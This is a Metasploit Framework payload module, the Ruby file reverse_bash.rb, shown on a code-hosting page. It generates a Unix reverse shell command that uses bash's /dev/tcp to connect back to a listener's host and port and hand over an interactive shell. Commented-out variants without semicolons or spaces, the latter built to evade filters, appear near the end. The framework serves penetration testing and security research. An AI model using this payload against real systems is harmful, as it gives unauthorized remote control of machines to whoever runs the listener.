CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_bash.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = :dynamic
10
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
14
def initialize(info = {})
15
super(merge_info(info,
16
'Name' => 'Unix Command Shell, Reverse TCP (/dev/tcp)',
17
'Description' => %q{
18
Creates an interactive shell via bash's builtin /dev/tcp.
19
20
This will not work on circa 2009 and older Debian-based Linux
21
distributions (including Ubuntu) because they compile bash
22
without the /dev/tcp feature.
23
},
24
'Author' => 'hdm',
25
'License' => MSF_LICENSE,
26
'Platform' => 'unix',
27
'Arch' => ARCH_CMD,
28
'Handler' => Msf::Handler::ReverseTcp,
29
'Session' => Msf::Sessions::CommandShellUnix,
30
'PayloadType' => 'cmd_bash',
31
'RequiredCmd' => 'bash-tcp',
32
'Payload' =>
33
{
34
'Offsets' => { },
35
'Payload' => ''
36
}
37
))
38
register_advanced_options(
39
[
40
OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash']),
41
OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
42
]
43
)
44
end
45
46
#
47
# Constructs the payload
48
#
49
def generate(_opts = {})
50
vprint_good(command_string)
51
return super + command_string
52
end
53
54
#
55
# Returns the command string to use for execution
56
#
57
def command_string
58
fd = rand(200) + 20
59
return "#{datastore['BashPath']} -c '0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};#{datastore['ShellPath']} <&#{fd} >&#{fd} 2>&#{fd}'";
60
# same thing, no semicolons
61
#return "/bin/bash #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} <&#{fd} >&#{fd}"
62
# same thing, no spaces
63
#return "s=${IFS:0:1};eval$s\"bash${s}#{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']}$s<&#{fd}$s>&#{fd}&\""
64
end
65
end
66
67